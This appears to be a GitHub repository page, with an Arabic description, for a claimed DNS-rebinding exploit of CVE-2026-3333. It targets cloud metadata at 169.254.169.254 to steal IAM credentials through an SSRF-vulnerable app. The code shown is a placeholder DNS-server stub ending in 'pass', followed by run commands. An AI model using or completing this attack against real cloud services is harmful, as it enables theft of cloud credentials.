george0papasotiriou/cve-2026-3333-dns-rebinding-to-steal-cloud-metadataاستغلال بلغة Python لـ CVE-2026-3333 يوضح إعادة ربط DNS للوصول إلى بيانات تعريف السحابة وسرقة بيانات اعتماد IAM عبر تطبيق ويب معرض لثغرة SSRF.
#!/usr/bin/env python3
# dns_rebinding_server.py - Malicious DNS server that alternates between attacker IP and 169.254.169.254
import socket, threading, time
# This simple server resolves any subdomain of our domain to 169.254.169.254 and attacker IP alternately.
DNS_QUERIES = {}
def handle_dns(data, addr, sock):
# minimal DNS response: use a simple pattern
# For demo, we'll use a static approach: first query gets attacker IP, second gets metadata IP.
# We'll simulate by running an HTTP server that the victim will contact.
pass # actual DNS logic is complex; for demonstration, we'll simulate the whole scenario.
تطبيق ويب يعمل في بيئة سحابية معرّض لثغرة إعادة ربط DNS. من خلال استخدام نطاق يتبادل بين عنوان IP الخاص بالمهاجم وعنوان IP الخاص بالبيانات الوصفية للسحابة (169.254.169.254)، يمكن للمهاجم سرقة بيانات اعتماد IAM.
python vulnerable_web_app.py
python exploit_dns_rebinding.py